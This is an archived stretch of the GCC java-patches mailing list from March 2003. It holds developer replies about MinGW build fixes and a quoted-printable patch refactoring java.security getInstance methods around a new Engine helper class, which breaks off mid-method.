08 Mar 2003 18:44:32 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18riN5-0006BR-00 for ; Sat, 08 Mar 2003 18:44:31 +0100 From: Ranjit Mathew Subject: Re: Patch: Add #include in fastjar Date: Sat, 08 Mar 2003 23:17:30 +0530 Lines: 20 Message-ID: <3E6A2CB2.B04133EF@hotmail.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Mohan Embar wrote: > This patch adds an #include to dostime.c in fastjar > for the definition of NULL. It's required to do a self-hosted > build of GCC/GCJ 3.3 under MingW GCC 3.2. I also believe it's > a valid #include because the inclusion of stddef.h can't > necessarily be inferred from the other #includes on all > platforms. BTW, if you just update your mingw-runtime package to the latest release, this problem would be cured. It's really a deficiency in older mingw-runtime releases where time.h did not indicate that it "needs NULL" (see latest mingw-runtime time.h for details on what this means). Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-6397-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 17:54:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7787 invoked by alias); 8 Mar 2003 17:54:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7682 invoked from network); 8 Mar 2003 17:54:11 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 8 Mar 2003 17:54:11 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18riVq-0006Zm-00 for ; Sat, 08 Mar 2003 18:53:34 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18riVp-0006Zd-00 for ; Sat, 08 Mar 2003 18:53:33 +0100 From: Ranjit Mathew Subject: Re: Patch: Override auto-guessed max cmd line length in MingW Date: Sat, 08 Mar 2003 23:26:33 +0530 Lines: 20 Message-ID: <3E6A2ED1.72D58CA@hotmail.com> References: <75MJ042WC0XVMHD8X3XNJ5ZHB732U85.3e6980c1@p733> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Mohan Embar wrote: ... > +# This compensates for the fact that ltconfig chooses too high a length > +# for the command line. > +case $host_os in > + mingw*) > + lt_cv_sys_max_cmd_len=30000 > + ;; Should this not be "build_os" based? Or are they the same for ltconfig? BTW, have you tried with recent MSYS 1.0.9 snapshots which seem to have cured some of the ills that have plagued the MSYS bash shell? Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-6398-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 18:00:37 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10045 invoked by alias); 8 Mar 2003 18:00:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10038 invoked from network); 8 Mar 2003 18:00:36 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 18:00:36 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h28I0ZM31566; Sat, 8 Mar 2003 12:00:35 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org, Ranjit Mathew Date: Sat, 08 Mar 2003 12:00:38 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <3E6A2CB2.B04133EF@hotmail.com> Message-Id: <1VI65QLRM64B7SNWU1YGBYDCEBMIHC.3e6a2fc6@p733> Subject: Re: Patch: Add #include in fastjar MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" >BTW, if you just update your mingw-runtime package to the latest >release, this problem would be cured. It's really a deficiency >in older mingw-runtime releases where time.h did not indicate >that it "needs NULL" (see latest mingw-runtime time.h for >details on what this means). Ranjit, I thought I was using mingw-runtime-2.4. What is the latest release? -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6399-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 18:04:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10693 invoked by alias); 8 Mar 2003 18:04:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10685 invoked from network); 8 Mar 2003 18:04:50 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 18:04:50 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h28I4nM31921 for ; Sat, 8 Mar 2003 12:04:49 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sat, 08 Mar 2003 12:04:50 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <3E6A2ED1.72D58CA@hotmail.com> Message-Id: <93735USXWWQ62RPJEMKTOD87SMJIF.3e6a30c2@p733> Subject: Re: Patch: Override auto-guessed max cmd line length in MingW MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Ranjit, Thanks for your feedback. >Should this not be "build_os" based? Or are they the same for >ltconfig? build_os seems to make more sense. I'll fool around with this unless someone else says something. >BTW, have you tried with recent MSYS 1.0.9 snapshots >which seem to have cured some of the ills that have plagued >the MSYS bash shell? The build that work worked under MSYS 1.0.9. I haven't tried it with 1.0.8. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6400-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 18:12:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11858 invoked by alias); 8 Mar 2003 18:12:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11851 invoked from network); 8 Mar 2003 18:12:11 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 8 Mar 2003 18:12:11 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18rinG-0007QV-00 for ; Sat, 08 Mar 2003 19:11:34 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18rinF-0007Q8-00 for ; Sat, 08 Mar 2003 19:11:33 +0100 From: Ranjit Mathew Subject: Re: Patch: Add #include in fastjar Date: Sat, 08 Mar 2003 23:44:30 +0530 Lines: 31 Message-ID: <3E6A3306.3095815B@hotmail.com> References: <3E6A2CB2.B04133EF@hotmail.com> <1VI65QLRM64B7SNWU1YGBYDCEBMIHC.3e6a2fc6@p733> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Mohan Embar wrote: > > >BTW, if you just update your mingw-runtime package to the latest > >release, this problem would be cured. It's really a deficiency > >in older mingw-runtime releases where time.h did not indicate > >that it "needs NULL" (see latest mingw-runtime time.h for > >details on what this means). > > Ranjit, > > I thought I was using mingw-runtime-2.4. What is the latest release? 2.4 is indeed the latest stable release. If you're using 2.4, this bit in time.h ensures that NULL is defined for it: ---------------------------------- 8< -------------------------------- #define __need_wchar_t #define __need_size_t #define __need_NULL #ifndef RC_INVOKED #include #endif /* Not RC_INVOKED */ ---------------------------------- 8< -------------------------------- Ranjit. -- Ranjit Mathew Email: rmathew AT hotmail DOT com Bangalore, INDIA. Web: http://ranjitmathew.tripod.com/ From java-patches-return-6401-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 18:50:52 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18234 invoked by alias); 8 Mar 2003 18:50:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18227 invoked from network); 8 Mar 2003 18:50:51 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 8 Mar 2003 18:50:51 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h28IooM04976 for ; Sat, 8 Mar 2003 12:50:50 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Sat, 08 Mar 2003 12:50:51 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <3E6A3306.3095815B@hotmail.com> Message-Id: Subject: Re: Patch: Add #include in fastjar MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hi Ranjit, What you're saying seems to be right. I verified it with this test program: #include int main() { void* pv = NULL; return (int) pv; } Nevertheless, dostime.c doesn't compile under GCC 3.2 without #include . You can download my snapshot and try it.... -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6402-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 21:08:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1080 invoked by alias); 8 Mar 2003 21:08:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1037 invoked from network); 8 Mar 2003 21:07:59 -0000 Received: from unknown (HELO blossom) (12.235.115.156) by 172.16.49.205 with SMTP; 8 Mar 2003 21:07:59 -0000 Received: from dexter ([192.168.0.2]) by blossom with esmtp (Exim 3.35 #1 (Debian)) id 18rlXl-0003Jo-00; Sat, 08 Mar 2003 13:07:45 -0800 Subject: [PATCH] java.security miscellany From: Casey Marshall To: Classpath Cc: GCC Java , Tom Tromey Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-idxAuwzY9D60KVl6Ojqq" Organization: Message-Id: <1047157664.2226.6.camel@dexter.attbi.com> Mime-Version: 1.0 Date: 08 Mar 2003 13:07:44 -0800 --=-idxAuwzY9D60KVl6Ojqq Content-Type: multipart/mixed; boundary="=-/14rktsROOHq8FIxovao" --=-/14rktsROOHq8FIxovao Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Attached are the java.security patches I posted earlier, reformatted slightly. My paperwork for GCC and Classpath is through (I haven't gotten the photocopies back, but Jessica sent me a message saying they have been accepted). I am having some difficulties talking with subversions right now; hopefully the patches are not corrupt. Cheers, --=20 Casey Marshall || rsdio@metastatic.org --=-/14rktsROOHq8FIxovao Content-Disposition: attachment; filename=libjava.patch Content-Type: text/x-patch; name=libjava.patch; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Index: libjava/Makefile.am =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.277 diff -u -r1.277 Makefile.am --- libjava/Makefile.am 13 Feb 2003 07:45:57 -0000 1.277 +++ libjava/Makefile.am 8 Mar 2003 20:50:52 -0000 @@ -2237,6 +2237,7 @@ java/security/DigestInputStream.java \ java/security/DomainCombiner.java \ java/security/DummyMessageDigest.java \ +java/security/Engine.java \ java/security/GeneralSecurityException.java \ java/security/Guard.java \ java/security/GuardedObject.java \ Index: libjava/java/security/AlgorithmParameterGenerator.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/AlgorithmParameterGenerato= r.java,v retrieving revision 1.2 diff -u -r1.2 AlgorithmParameterGenerator.java --- libjava/java/security/AlgorithmParameterGenerator.java 22 Jan 2002 22:4= 0:30 -0000 1.2 +++ libjava/java/security/AlgorithmParameterGenerator.java 8 Mar 2003 20:50= :55 -0000 @@ -1,5 +1,5 @@ /* AlgorithmParameterGenerator.java --- Algorithm Parameter Generator - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -39,20 +39,43 @@ import java.security.spec.AlgorithmParameterSpec; =20 /** - AlgorithmParameterGenerator is used to generate=20 - algorithm parameters for specified algorithms. - This class is used to generate the algorithm parameters - for a specific algorithm. - - @since JDK 1.2 - @author Mark Benvenuto + * Algorithm parameter generators produce {@link AlgorithmParameters} + * for various cryptographic algorithms. + * + *

          Parameter generation my be done in an either algorithm-independent + * or -dependent fashion. The algorithm-independent way takes only a + * single integer argument (or a default) that is typically interpreted + * as the "size" -- for example in the case of the DSA signature + * algorithm this is the size of the prime modulus, in bits. + * + *

          The algorithm-dependent approach takes a parameter specification + * as its argument (an implementation of {@link AlgorithmParameterSpec}), + * and from that produces the appropriate algorithm parameters. + * + * @see AlgorithmParameters + * @see AlgorithmParameterSpec + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class AlgorithmParameterGenerator { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for algorithm parameter generators. */ + private static final String ALGORITHM_PARAMETER_GENERATOR =3D + "AlgorithmParameterGenerator"; + private AlgorithmParameterGeneratorSpi paramGenSpi; private Provider provider; private String algorithm; =20 + // Constructor. + // ---------------------------------------------------------------------= --- + /** Creates an instance of AlgorithmParameters =20 @@ -69,25 +92,19 @@ this.algorithm =3D algorithm; } =20 - /** - Returns the name of the algorithm used - - @return A string with the name of the algorithm - */ - public final String getAlgorithm() - { - return algorithm; - } + // Class methods. + // ---------------------------------------------------------------------= --- =20 /**=20 - Gets an instance of the AlgorithmParameterGenerator class=20 - which generates algorithm parameters for the specified algorithm.=20 - If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameterGenerator repesenting the desired algorit= hm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by providers + * Gets an instance of the AlgorithmParameterGenerator class=20 + * which generates algorithm parameters for the specified algorithm.=20 + * If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. + * + * @param algorithm the name of algorithm to choose + * @return a AlgorithmParameterGenerator repesenting the desired algorit= hm + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * providers, or if the implmementation cannot be instantiated. */ public static AlgorithmParameterGenerator getInstance(String algorithm) throws NoSuchAlgorithmException @@ -96,65 +113,90 @@ =20 for (int i =3D 0; i < p.length; i++) { - String classname =3D - p[i].getProperty("AlgorithmParameterGenerator." + algorithm); - if (classname !=3D null) - return getInstance(classname, algorithm, p[i]); + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignore) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 /**=20 - Gets an instance of the AlgorithmParameterGenerator class=20 - which generates algorithm parameters for the specified algorithm.=20 - If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameterGenerator repesenting the desired algorit= hm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by the provider - @throws NoSuchProviderException if the provider is not found + * Get an algorithm parameter generator for the given algorithm from + * the named provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return an AlgorithmParameterGenerator for the desired algorithm + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented + * by the provider, or if the implementation cannot be + * instantiated. + * @throws NoSuchProviderException If there is no provider named + * provider currently installed. + * @throws IllegalArgumentException If provider is null + * or empty. */ - public static AlgorithmParameterGenerator getInstance(String algorithm, - String provider) - throws NoSuchAlgorithmException, NoSuchProviderException + public static AlgorithmParameterGenerator + getInstance(String algorithm, String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p. - getProperty("AlgorithmParameterGenerator." + - algorithm), algorithm, p); + return getInstance(algorithm, p); } =20 - private static AlgorithmParameterGenerator getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Get an algorithm parameter generator for the given algorithm from + * the specified provider. + * + * @param algorithm The algorithm to get the parameter generator for. + * @param provider The provider to get the implementation from. + * @throws NoSuchAlgorithmException If the provider does not implement + * a parameter generator for the given algorithm, or if the + * implementation cannot be instantiated. + * @throws IllegalArgumentExcpetion If provider is null. + * @since 1.4 + */ + public static AlgorithmParameterGenerator + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException { - + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); try { - return new - AlgorithmParameterGenerator((AlgorithmParameterGeneratorSpi) Class. - forName(classname).newInstance(), - provider, algorithm); - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); + return new AlgorithmParameterGenerator( + (AlgorithmParameterGeneratorSpi) Engine.getInstance( + ALGORITHM_PARAMETER_GENERATOR, algorithm, provider), + provider, algorithm); } - catch (InstantiationException ie) + catch (ClassCastException cce) { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } + } + + // Instance methods. + // ---------------------------------------------------------------------= --- + + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public final String getAlgorithm() + { + return algorithm; } =20 /** Index: libjava/java/security/AlgorithmParameters.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/gcc/gcc/libjava/java/security/AlgorithmParameters.java,v retrieving revision 1.2 diff -u -r1.2 AlgorithmParameters.java --- libjava/java/security/AlgorithmParameters.java 22 Jan 2002 22:40:30 -00= 00 1.2 +++ libjava/java/security/AlgorithmParameters.java 8 Mar 2003 20:50:55 -000= 0 @@ -1,5 +1,5 @@ /* AlgorithmParameters.java --- Algorithm Parameters Implementation Class - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -35,26 +35,43 @@ obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ =20 - package java.security; + import java.security.spec.InvalidParameterSpecException; import java.security.spec.AlgorithmParameterSpec; import java.io.IOException; =20 /** - AlgorithmParameters is the Algorithm Parameters class which=20 - provides an interface through which to modify parameters for=20 - classes. This class is used to manage the algorithm parameters. - - @since JDK 1.2 - @author Mark Benvenuto + * An opaque representation of a cryptographic algorithm's parameters. + * + *

          This class provides methods for encoding and decoding algorithm + * parameters to and from standard formats (ASN.1 for example), and + * for translating parameters to and from transparent representations + * (subclasses of {@link AlgorithmParameterSpec}). + * + * @see AlgorithmParameterGenerator + * @see AlgorithmParameterSpec + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class AlgorithmParameters { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for algorithm parameters. */ + private static final String ALGORITHM_PARAMETERS =3D "AlgorithmParameter= s"; + private AlgorithmParametersSpi paramSpi; private Provider provider; private String algorithm; =20 + // Constructor. + // ---------------------------------------------------------------------= --- + /** Creates an instance of AlgorithmParameters =20 @@ -70,28 +87,17 @@ this.algorithm =3D algorithm; } =20 - /** - Returns the name of the algorithm used + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @return A string with the name of the algorithm - */ - public final String getAlgorithm() - { - return algorithm; - } - - /**=20 - Gets an instance of the AlgorithmParameters class representing - the specified algorithm parameters. If the algorithm is not=20 - found then, it throws NoSuchAlgorithmException. - - The returned AlgorithmParameters must still be intialized with - init(). - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameters repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by providers + /** + * Returns an instance of AlgorithmParameters for the given algorithm. + * + * @param algorithm the name of algorithm to choose + * @return An AlgorithmParameters for the given algorithm + * @throws NoSuchAlgorithmException If no provider implements algorithm + * parameters for the given algorithm or if no implementation + * can be instantiated. */ public static AlgorithmParameters getInstance(String algorithm) throws NoSuchAlgorithmException @@ -100,68 +106,86 @@ =20 for (int i =3D 0; i < p.length; i++) { - String classname =3D - p[i].getProperty("AlgorithmParameters." + algorithm); - if (classname !=3D null) - return getInstance(classname, algorithm, p[i]); + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the AlgorithmParameters class representing - the specified algorithm parameters from the specified provider.=20 - If the algorithm is not found then, it throws=20 - NoSuchAlgorithmException. If the provider is not found, then=20 - it throws NoSuchProviderException. - - The returned AlgorithmParameters must still be intialized with - init(). - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameters repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by the provider - @throws NoSuchProviderException if the provider is not found + /** + * Returns an instance of AlgorithmParameters for the given algorithm + * from the named provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a AlgorithmParameters repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * the provider, or if the implementation cannot be instantiated= . + * @throws NoSuchProviderException If no provider named provider + * is installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ - public static AlgorithmParameters getInstance(String algorithm, - String provider) throws - NoSuchAlgorithmException, NoSuchProviderException + public static AlgorithmParameters + getInstance(String algorithm, String provider) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p.getProperty("AlgorithmParameters." + algorithm), - algorithm, p); + return getInstance(algorithm, p); } =20 - private static AlgorithmParameters getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Returns an instance of AlgorithmParameters for the given algorithm + * from the specified provider. + * + * @param algorithm the name of algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a AlgorithmParameters repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * the provider, or if the implementation cannot be instantiated= . + * @throws IllegalArgumentException If provider is null. + */ + public static AlgorithmParameters + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException { - + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); try { - return new AlgorithmParameters((AlgorithmParametersSpi) Class. - forName(classname).newInstance(), - provider, algorithm); + return new AlgorithmParameters((AlgorithmParametersSpi) + Engine.getInstance(ALGORITHM_PARAMETERS, algorithm, provider), + provider, algorithm); } - catch (ClassNotFoundException cnfe) + catch (ClassCastException cce) { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } + } + + // Instnace methods. + // ---------------------------------------------------------------------= --- + + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public final String getAlgorithm() + { + return algorithm; } =20 /** Index: libjava/java/security/Engine.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: libjava/java/security/Engine.java diff -N libjava/java/security/Engine.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/java/security/Engine.java 8 Mar 2003 20:50:55 -0000 @@ -0,0 +1,152 @@ +/* Engine -- generic getInstance method. + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.security; + +/** + * Generic implementation of the getInstance methods in the various + * engine classes in java.security. + *

          + * These classes ({@link java.security.Signature} for example) can be + * thought of as the "chrome, upholstery, and steering wheel", and the SPI + * (service provider interface, e.g. {@link java.security.SignatureSpi}) + * classes can be thought of as the "engine" -- providing the actual + * functionality of whatever cryptographic algorithm the instance + * represents. + * + * @see Provider + * @author Casey Marshall=20 + */ +final class Engine +{ + + // Constants. + // ---------------------------------------------------------------------= --- + + /** Prefix for aliases. */ + private static final String ALG_ALIAS =3D "Alg.Alias."; + + /** Maximum number of aliases to try. */ + private static final int MAX_ALIASES =3D 5; + + // Constructor. + // ---------------------------------------------------------------------= --- + + /** This class cannot be instantiated. */ + private Engine() { } + + // Class method. + // ---------------------------------------------------------------------= --- + + /** + * Get the implementation for algorithm for service + * service from provider. The service is e.g. + * "Signature", and the algorithm "DSA". + * + * @param service The service name. + * @param algorithm The name of the algorithm to get. + * @param provider The provider to get the implementation from. + * @return The engine class for the specified algorithm; the object + * returned is typically a subclass of the SPI class for that + * service, but callers should check that this is so. + * @throws NoSuchAlgorithmException If the implementation cannot be + * found or cannot be instantiated. + * @throws IllegalArgumentException If any of the three arguments are nu= ll. + */ + static Object + getInstance(String service, String algorithm, Provider provider) + throws NoSuchAlgorithmException + { + if (service =3D=3D null || algorithm =3D=3D null || provider =3D=3D nu= ll) + throw new IllegalArgumentException(); + + // If there is no property "service.algorithm" + if (provider.getProperty(service + "." + algorithm) =3D=3D null) + { + // Iterate through aliases, until we find the class name or resolv= e + // too many aliases. + String alias =3D null; + int count =3D 0; + while ((alias =3D provider.getProperty( + ALG_ALIAS + service + "." + algorithm)) !=3D null) + { + if (algorithm.equals(alias)) // Refers to itself! + break; + algorithm =3D alias; + if (count++ > MAX_ALIASES) + throw new NoSuchAlgorithmException("too many aliases"); + } + if (provider.getProperty(service + "." + algorithm) =3D=3D null) + throw new NoSuchAlgorithmException(algorithm); + } + + // Find and instantiate the implementation. + Class clazz =3D null; + ClassLoader loader =3D provider.getClass().getClassLoader(); + String error =3D algorithm; + try + { + if (loader !=3D null) + clazz =3D loader.loadClass(provider.getProperty(service+"."+algo= rithm)); + else + clazz =3D Class.forName(provider.getProperty(service+"."+algorit= hm)); + return clazz.newInstance(); + } + catch (ClassNotFoundException cnfe) + { + error =3D "class not found: " + algorithm; + } + catch (IllegalAccessException iae) + { + error =3D "illegal access: " + iae.getMessage(); 